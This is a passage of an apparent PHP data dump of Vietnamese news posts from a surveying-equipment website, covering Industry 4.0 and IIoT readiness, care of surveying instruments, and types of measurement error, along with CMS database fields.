'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; 